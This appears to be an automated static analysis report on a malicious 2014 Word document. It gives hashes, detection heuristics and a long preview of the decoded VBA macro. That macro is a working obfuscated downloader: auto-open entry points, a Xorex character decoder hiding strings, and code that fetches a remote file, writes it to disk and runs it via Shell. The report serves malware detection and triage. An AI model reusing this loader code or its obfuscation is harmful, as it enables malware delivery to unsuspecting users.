Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fd8dfca0edec8ab…

MALICIOUS

Office (OLE)

141.5 KB Created: 2014-11-10 14:11:00 Authoring application: Microsoft Office Word First seen: 2014-11-24
MD5: 6f07e9ba9c37608d798cd966f0cc5b1c SHA-1: 50ff299e14ca17bae903ae597f08b08755523921 SHA-256: 3fd8dfca0edec8ab00d392b3142d56b1883d1d353750db941086112aa1be55b2
334 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        MGGYGEBGQCW = Shell(ZYVEABFRXSW, 1)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set GQQNKZINHIM = CreateObject(Xorex(Chr(52) & Chr(48) & Chr(109) & Chr(63) & Chr(120) & Chr(74) & Chr(69) & Chr(110) & Chr(116) & Chr(59) & Chr(60) & Chr(97) & Chr(108) & Chr(54), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set GQQNKZINHIM = CreateObject(Xorex(Chr(52) & Chr(48) & Chr(109) & Chr(63) & Chr(120) & Chr(74) & Chr(69) & Chr(110) & Chr(116) & Chr(59) & Chr(60) & Chr(97) & Chr(108) & Chr(54), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        JELZZXWKWVJ BIUvbhoi, Environ(Xorex(Chr(45) & Chr(38) & Chr(120) & Chr(34), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")) & Xorex(Chr(37) & Chr(43) & Chr(111) & Chr(62) & Chr(117) & Chr(62) & Chr(45) & Chr(122) & Chr(109) & Chr(51) & Chr(48) & Chr(122) & Chr(22) & Chr(3) & Chr(15) & Chr(80), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 103631 bytes
SHA-256: ab5ce96b1221b5bba393a46525000832c863cd4e455209aaf7a512c6cf14e886
Detection
ClamAV: No threats found
Obfuscation or payload: likely
187 of 263 identifiers look randomly generated (e.g. 'yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
Dim VGMhIShQ As Integer
For VGMhIShQ = 0 To 5
Dim oPPluAlu, FTlDlXsB, lANiYjeH As String

Dim BVMcXcQm As Integer
BVMcXcQm = 4
Do While BVMcXcQm < 11
DoEvents: BVMcXcQm = BVMcXcQm + 1
Loop

oPPluAlu = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(102) & Chr(110) & Chr(52) & Chr(54) & Chr(101) & Chr(42) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim GiRIxUzQ As Integer
GiRIxUzQ = 2
Do While GiRIxUzQ < 55
DoEvents: GiRIxUzQ = GiRIxUzQ + 1
Loop

FTlDlXsB = LTrim(oPPluAlu)

Dim LSvonEHD As Integer
LSvonEHD = 3
Do While LSvonEHD < 98
DoEvents: LSvonEHD = LSvonEHD + 1
Loop

lANiYjeH = RTrim(FTlDlXsB)


Dim TdIlbKhj As Integer
TdIlbKhj = 1
Do While TdIlbKhj < 74
DoEvents: TdIlbKhj = TdIlbKhj + 1
Loop

DoEvents
Next VGMhIShQ
Dim dRAHKxsu, GHGPAMWn, rYWfUTuo As String

Dim PSWmyGNU As Integer
PSWmyGNU = 1
Do While PSWmyGNU < 27
DoEvents: PSWmyGNU = PSWmyGNU + 1
Loop

dRAHKxsu = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(112) & Chr(119) & Chr(45) & Chr(61) & Chr(98) & Chr(52) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim bXTTYBjV As Integer
bXTTYBjV = 9
Do While bXTTYBjV < 85
DoEvents: bXTTYBjV = bXTTYBjV + 1
Loop

GHGPAMWn = LTrim(dRAHKxsu)

Dim EnvyPWtN As Integer
EnvyPWtN = 9
Do While EnvyPWtN < 38
DoEvents: EnvyPWtN = EnvyPWtN + 1
Loop

rYWfUTuo = RTrim(GHGPAMWn)


Dim kJnBqNXq As Integer
kJnBqNXq = 7
Do While kJnBqNXq < 12
DoEvents: kJnBqNXq = kJnBqNXq + 1
Loop

CZVZJYFKSEH
End Sub
Sub AutoOpen()
Dim MgQeLKMs As Integer
For MgQeLKMs = 0 To 1
Dim PfjmyzoT, IVMurrFr, WrYpYKJg As String

Dim UBGKcDpG As Integer
UBGKcDpG = 1
Do While UBGKcDpG < 43
DoEvents: UBGKcDpG = UBGKcDpG + 1
Loop

PfjmyzoT = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(125) & Chr(115) & Chr(62) & Chr(59) & Chr(127) & Chr(54) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim BBJOtwwZ As Integer
BBJOtwwZ = 4
Do While BBJOtwwZ < 12
DoEvents: BBJOtwwZ = BBJOtwwZ + 1
Loop

IVMurrFr = LTrim(PfjmyzoT)

Dim eEPpokpT As Integer
eEPpokpT = 2
Do While eEPpokpT < 55
DoEvents: eEPpokpT = eEPpokpT + 1
Loop

WrYpYKJg = RTrim(IVMurrFr)


Dim BzEGWTBj As Integer
BzEGWTBj = 4
Do While BzEGWTBj < 49
DoEvents: BzEGWTBj = BzEGWTBj + 1
Loop

DoEvents
Next MgQeLKMs
Dim kHoSgmbF, dHlVIvCG, WwlLbJCt As String

Dim jCBuygil As Integer
jCBuygil = 7
Do While jCBuygil < 75
DoEvents: jCBuygil = jCBuygil + 1
Loop

kHoSgmbF = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(124) & Chr(110) & Chr(60) & Chr(63) & Chr(101) & Chr(34) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim AOUcotFk As Integer
AOUcotFk = 9
Do While AOUcotFk < 31
DoEvents: AOUcotFk = AOUcotFk + 1
Loop

dHlVIvCG = LTrim(kHoSgmbF)

Dim LOPgHSBy As Integer
LOPgHSBy = 3
Do While LOPgHSBy < 32
DoEvents: LOPgHSBy = LOPgHSBy + 1
Loop

WwlLbJCt = RTrim(dHlVIvCG)


Dim eEPfMcyB As Integer
eEPfMcyB = 5
Do While eEPfMcyB < 27
DoEvents: eEPfMcyB = eEPfMcyB + 1
Loop

    Auto_Open
End Sub
Sub Workbook_Open()
Dim roPyYOXv As Integer
For roPyYOXv = 0 To 9
Dim jjuTqjxo, WdGNcQga, nixmPyyK As String

Dim kWicTmzW As Integer
kWicTmzW = 7
Do While kWicTmzW < 41
DoEvents: kWicTmzW = kWicTmzW + 1
Loop

jjuTqjxo = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(118) & Chr(122) & Chr(43) & Chr(63) & Chr(116) & Chr(62) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim XhlTHGQm As Integer
XhlTHGQm = 1
Do While XhlTHGQm < 43
DoEvents: XhlTHGQm = XhlTHGQm + 1
Loop

WdGNcQga = LTrim(jjuTqjxo)

Dim uzzXLTkl As Integer
uzzXLTkl = 5
Do While uzzXLTkl < 32
DoEvents: uzzXLTkl = uzzXLTkl + 1
Loop

nixmPyyK = RTrim(WdGNcQga)


Dim jXzWCjcs As Integer
jXzWCjcs = 7
Do While jXzWCjcs < 41
DoEvents: jXzWCjcs = jXzWCjcs + 1
Loop

DoEvents
Next roPyYOXv
Dim duKnslHG, GkumWJbp, risBNZQK As String

Dim MYXhwGft As Integer
MYXhwGft = 3
Do While MYXhwGft < 69
DoEvents: MYXhwGft = MYXhwGft + 1
Loop

duKnslHG = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(112) & Chr(123) & Chr(40) & Chr(56) & Chr(97) & Chr(55) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim tlTYvTLe As Integer
tlTYvTLe = 5
Do While tlTYvTLe < 59
DoEvents: tlTYvTLe = tlTYvTLe + 1
Loop

GkumWJbp = LTrim(duKnslHG)

Dim kWuAhAVg As Integer
kWuAhAVg = 7
Do While kWuAhAVg < 13
DoEvents: kWuAhAVg = kWuAhAVg + 1
Loop

risBNZQK = RTrim(GkumWJbp)


Dim uzaNRQdS As Integer
uzaNRQdS = 5
Do While uzaNRQdS < 84
DoEvents: uzaNRQdS = uzaNRQdS + 1
Loop

    Auto_Open
End Sub
Function JELZZXWKWVJ(ByVal TGNAECWCJXS As String, ByVal ZYVEABFRXSW As String) As Boolean
     Dim GQQNKZINHIM As Object, SOFUXEKHPZY As Long, RFNEUWUEEXR As Long, WZXJRRXUVPK() As Byte

Dim LxrEmWTk As Integer
For LxrEmWTk = 0 To 3
Dim vplinlzY, PhyqziyJ, XwKfRXoz As String

Dim NLkTVKeG As Integer
NLkTVKeG = 4
Do While NLkTVKeG < 58
DoEvents: NLkTVKeG = NLkTVKeG + 1
Loop

vplinlzY = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(101) & Chr(112) & Chr(48) & Chr(51) & Chr(116) & Chr(32) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim vapdRmyb As Integer
vapdRmyb = 8
Do While vapdRmyb < 62
DoEvents: vapdRmyb = vapdRmyb + 1
Loop

PhyqziyJ = LTrim(vplinlzY)

Dim qEppGOUW As Integer
qEppGOUW = 6
Do While qEppGOUW < 75
DoEvents: qEppGOUW = qEppGOUW + 1
Loop

XwKfRXoz = RTrim(PhyqziyJ)


Dim pOQyRRyC As Integer
pOQyRRyC = 6
Do While pOQyRRyC < 91
DoEvents: pOQyRRyC = pOQyRRyC + 1
Loop

DoEvents
Next LxrEmWTk
Dim JmDxlzgY, SwCIDuSI, IwuMiqpO As String

Dim GrMmsqYp As Integer
GrMmsqYp = 2
Do While GrMmsqYp < 92
DoEvents: GrMmsqYp = GrMmsqYp + 1
Loop

JmDxlzgY = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(111) & Chr(110) & Chr(49) & Chr(63) & Chr(116) & Chr(36) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim ZUWkwvuT As Integer
ZUWkwvuT = 9
Do While ZUWkwvuT < 39
DoEvents: ZUWkwvuT = ZUWkwvuT + 1
Loop

SwCIDuSI = LTrim(JmDxlzgY)

Dim gpXgYDIa As Integer
gpXgYDIa = 7
Do While gpXgYDIa < 43
DoEvents: gpXgYDIa = gpXgYDIa + 1
Loop

IwuMiqpO = RTrim(SwCIDuSI)


Dim APTABmEG As Integer
APTABmEG = 9
Do While APTABmEG < 68
DoEvents: APTABmEG = APTABmEG + 1
Loop

    Set GQQNKZINHIM = CreateObject(Xorex(Chr(52) & Chr(48) & Chr(109) & Chr(63) & Chr(120) & Chr(74) & Chr(69) & Chr(110) & Chr(116) & Chr(59) & Chr(60) & Chr(97) & Chr(108) & Chr(54), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke"))
    GQQNKZINHIM.Open Xorex(Chr(62) & Chr(38) & Chr(97), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke"), TGNAECWCJXS, False
Dim NRJTZDiw As Integer
For NRJTZDiw = 0 To 5
Dim dfIbEIIs, KojMHenr, PbuTUpGU As String

Dim FocoZghx As Integer
FocoZghx = 2
Do While FocoZghx < 32
DoEvents: FocoZghx = FocoZghx + 1
Loop

dfIbEIIs = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(98) & Chr(123) & Chr(47) & Chr(51) & Chr(101) & Chr(41) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim GuUxjgfR As Integer
GuUxjgfR = 2
Do While GuUxjgfR < 93
DoEvents: GuUxjgfR = GuUxjgfR + 1
Loop

KojMHenr = LTrim(dfIbEIIs)

Dim GtJPtgdQ As Integer
GtJPtgdQ = 2
Do While GtJPtgdQ < 31
DoEvents: GtJPtgdQ = GtJPtgdQ + 1
Loop

PbuTUpGU = RTrim(KojMHenr)


Dim pDkIOtuN As Integer
pDkIOtuN = 6
Do While pDkIOtuN < 91
DoEvents: pDkIOtuN = pDkIOtuN + 1
Loop

DoEvents
Next NRJTZDiw
Dim DAhSlNiA, zkmhvSlp, RZOpioeE As String

Dim BCBtkdob As Integer
BCBtkdob = 4
Do While BCBtkdob < 11
DoEvents: BCBtkdob = BCBtkdob + 1
Loop

DAhSlNiA = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(101) & Chr(96) & Chr(51) & Chr(34) & Chr(120) & Chr(35) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim SnNzZAOW As Integer
SnNzZAOW = 2
Do While SnNzZAOW < 58
DoEvents: SnNzZAOW = SnNzZAOW + 1
Loop

zkmhvSlp = LTrim(DAhSlNiA)

Dim IBFecCeK As Integer
IBFecCeK = 1
Do While IBFecCeK < 72
DoEvents: IBFecCeK = IBFecCeK + 1
Loop

RZOpioeE = RTrim(zkmhvSlp)


Dim hexwlqff As Integer
hexwlqff = 7
Do While hexwlqff < 42
DoEvents: hexwlqff = hexwlqff + 1
Loop

    GQQNKZINHIM.Send Xorex(Chr(23) & Chr(8) & Chr(127) & Chr(36) & Chr(118) & Chr(19), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim ftAFiOqF As Integer
For ftAFiOqF = 0 To 7
Dim dNVJPRYL, vyPMdlPr, xJfYqmhZ As String

Dim EAfeXtNX As Integer
EAfeXtNX = 9
Do While EAfeXtNX < 15
DoEvents: EAfeXtNX = EAfeXtNX + 1
Loop

dNVJPRYL = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(103) & Chr(105) & Chr(34) & Chr(35) & Chr(108) & Chr(57) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim EbcjPtVr As Integer
EbcjPtVr = 9
Do While EbcjPtVr < 76
DoEvents: EbcjPtVr = EbcjPtVr + 1
Loop

vyPMdlPr = LTrim(dNVJPRYL)

Dim BaTPaQsL As Integer
BaTPaQsL = 4
Do While BaTPaQsL < 59
DoEvents: BaTPaQsL = BaTPaQsL + 1
Loop

xJfYqmhZ = RTrim(vyPMdlPr)


Dim zUftSMLn As Integer
zUftSMLn = 4
Do While zUftSMLn < 89
DoEvents: zUftSMLn = zUftSMLn + 1
Loop

DoEvents
Next ftAFiOqF
Dim whlWjEeK, kjEuQInL, dkFltSCM As String

Dim wcySjTgO As Integer
wcySjTgO = 8
Do While wcySjTgO < 56
DoEvents: wcySjTgO = wcySjTgO + 1
Loop

whlWjEeK = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(127) & Chr(96) & Chr(53) & Chr(45) & Chr(123) & Chr(58) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim EEtGrbtD As Integer
EEtGrbtD = 9
Do While EEtGrbtD < 39
DoEvents: EEtGrbtD = EEtGrbtD + 1
Loop

kjEuQInL = LTrim(whlWjEeK)

Dim SnWAlqsv As Integer
SnWAlqsv = 2
Do While SnWAlqsv < 86
DoEvents: SnWAlqsv = SnWAlqsv + 1
Loop

dkFltSCM = RTrim(kjEuQInL)


Dim jBHLgOdq As Integer
jBHLgOdq = 7
Do While jBHLgOdq < 42
DoEvents: jBHLgOdq = jBHLgOdq + 1
Loop

    WZXJRRXUVPK = GQQNKZINHIM.responseBody

Dim AwrTgwTG As Integer
For AwrTgwTG = 0 To 7
Dim EJHWqbkg, oDvjvMoy, argagacO As String

Dim XmXlrfcT As Integer
XmXlrfcT = 3
Do While XmXlrfcT < 43
DoEvents: XmXlrfcT = XmXlrfcT + 1
Loop

EJHWqbkg = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(112) & Chr(107) & Chr(55) & Chr(33) & Chr(116) & Chr(37) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim tjStlBTk As Integer
tjStlBTk = 5
Do While tjStlBTk < 25
DoEvents: tjStlBTk = tjStlBTk + 1
Loop

oDvjvMoy = LTrim(EJHWqbkg)

Dim FdrGgkjK As Integer
FdrGgkjK = 2
Do While FdrGgkjK < 32
DoEvents: FdrGgkjK = FdrGgkjK + 1
Loop

argagacO = RTrim(oDvjvMoy)


Dim UtduPOjO As Integer
UtduPOjO = 1
Do While UtduPOjO < 44
DoEvents: UtduPOjO = UtduPOjO + 1
Loop

DoEvents
Next AwrTgwTG
Dim XajTjBjq, qJxpwPZL, DzQrtisd As String

Dim HzaNmUhi As Integer
HzaNmUhi = 2
Do While HzaNmUhi < 92
DoEvents: HzaNmUhi = HzaNmUhi + 1
Loop

XajTjBjq = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(115) & Chr(119) & Chr(47) & Chr(37) & Chr(126) & Chr(35) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim sZplSfEC As Integer
sZplSfEC = 6
Do While sZplSfEC < 99
DoEvents: sZplSfEC = sZplSfEC + 1
Loop

qJxpwPZL = LTrim(XajTjBjq)

Dim IMoxTQim As Integer
IMoxTQim = 1
Do While IMoxTQim < 71
DoEvents: IMoxTQim = IMoxTQim + 1
Loop

DzQrtisd = RTrim(qJxpwPZL)


Dim HyYDZCij As Integer
HyYDZCij = 2
Do While HyYDZCij < 93
DoEvents: HyYDZCij = HyYDZCij + 1
Loop

    RFNEUWUEEXR = FreeFile
    Open ZYVEABFRXSW For Binary As #RFNEUWUEEXR
Dim ORHYxfuL As Integer
For ORHYxfuL = 0 To 8
Dim NNQKlVLc, sycWWSXI, cspVxnNL As String

Dim nLObEjSm As Integer
nLObEjSm = 9
Do While nLObEjSm < 98
DoEvents: nLObEjSm = nLObEjSm + 1
Loop

NNQKlVLc = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(97) & Chr(96) & Chr(55) & Chr(51) & Chr(102) & Chr(62) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim pHaovOcW As Integer
pHaovOcW = 6
Do While pHaovOcW < 39
DoEvents: pHaovOcW = pHaovOcW + 1
Loop

sycWWSXI = LTrim(NNQKlVLc)

Dim UuzuEwpC As Integer
UuzuEwpC = 1
Do While UuzuEwpC < 11
DoEvents: UuzuEwpC = UuzuEwpC + 1
Loop

cspVxnNL = RTrim(sycWWSXI)


Dim oVjNMJGE As Integer
oVjNMJGE = 6
Do While oVjNMJGE < 93
DoEvents: oVjNMJGE = oVjNMJGE + 1
Loop

DoEvents
Next ORHYxfuL
Dim MNZpStIM, GaSwypyX, QzXUnfEC As String

Dim gfwThLBu As Integer
gfwThLBu = 7
Do While gfwThLBu < 44
DoEvents: gfwThLBu = gfwThLBu + 1
Loop

MNZpStIM = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(112) & Chr(126) & Chr(46) & Chr(39) & Chr(100) & Chr(43) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim QYjMcxoG As Integer
QYjMcxoG = 2
Do While QYjMcxoG < 59
DoEvents: QYjMcxoG = QYjMcxoG + 1
Loop

GaSwypyX = LTrim(MNZpStIM)

Dim rAGaviYP As Integer
rAGaviYP = 5
Do While rAGaviYP < 26
DoEvents: rAGaviYP = rAGaviYP + 1
Loop

QzXUnfEC = RTrim(GaSwypyX)


Dim lDDuNCdJ As Integer
lDDuNCdJ = 7
Do While lDDuNCdJ < 59
DoEvents: lDDuNCdJ = lDDuNCdJ + 1
Loop

    Put #RFNEUWUEEXR, , WZXJRRXUVPK
Dim duwgqQAv As Integer
For duwgqQAv = 0 To 1
Dim mfsqlbxz, NoLTTWgL, LbPjxzEx As String

Dim EZoEKCxE As Integer
EZoEKCxE = 9
Do While EZoEKCxE < 67
DoEvents: EZoEKCxE = EZoEKCxE + 1
Loop

mfsqlbxz = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(119) & Chr(123) & Chr(62) & Chr(46) & Chr(97) & Chr(37) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim ZPbsLKCc As Integer
ZPbsLKCc = 9
Do While ZPbsLKCc < 16
DoEvents: ZPbsLKCc = ZPbsLKCc + 1
Loop

NoLTTWgL = LTrim(mfsqlbxz)

Dim uphNCvnw As Integer
uphNCvnw = 5
Do While uphNCvnw < 33
DoEvents: uphNCvnw = uphNCvnw + 1
Loop

LbPjxzEx = RTrim(NoLTTWgL)


Dim eEEVHnwO As Integer
eEEVHnwO = 5
Do While eEEVHnwO < 42
DoEvents: eEEVHnwO = eEEVHnwO + 1
Loop

DoEvents
Next duwgqQAv
Dim lMOibEOs, UPFQThWM, pXeTgDRf As String

Dim dvcAcYCA As Integer
dvcAcYCA = 6
Do While dvcAcYCA < 98
DoEvents: dvcAcYCA = dvcAcYCA + 1
Loop

lMOibEOs = Xorex(Chr(89) & Chr(67) & Chr(21) & Chr(82) & Chr(20) & Chr(88) & Chr(75) & Chr(22) & Chr(25) & Chr(87) & Chr(84) & Chr(119) & Chr(97) & Chr(44) & Chr(60) & Chr(118) & Chr(49) & Chr(24) & Chr(67) & Chr(83) & Chr(20) & Chr(77) & Chr(72) & Chr(68) & Chr(72) & Chr(66) & Chr(90) & Chr(65) & Chr(79) & Chr(90) & Chr(69) & Chr(21), "yc5r4xk69wt58fw5s8cs4mhdhbzaoze5400pb76g1ha6zk4pke")

Dim lFTXOPwC As Integer
lFTXOPwC = 7
Do While lFTXOPwC < 59
